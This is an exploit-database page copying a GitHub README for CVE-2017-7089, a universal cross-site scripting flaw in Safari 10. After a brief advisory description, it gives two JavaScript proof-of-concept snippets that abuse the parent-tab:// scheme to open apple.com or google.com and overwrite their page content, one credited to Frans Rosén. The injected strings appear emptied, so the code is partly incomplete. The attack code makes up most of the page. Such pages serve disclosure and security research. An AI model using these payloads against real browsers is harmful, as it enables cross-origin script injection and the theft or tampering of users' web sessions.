Sploitus

Exploit for Cross-site Scripting in Apple Safari

CVE-2017-7089

githubexploit · 2017-10-03

Exploit Code

README18 lines
## https://sploitus.com/exploit?id=4427F819-1CDB-5AD0-AF75-24214D8D077B
# CVE-2017-7089

**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting

**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.

#### Safari 10

##### Local SOP bypass

```html
 function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}Click me!
```
##### Exploit by Frans Rosén
```html
data:text/html,function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)
```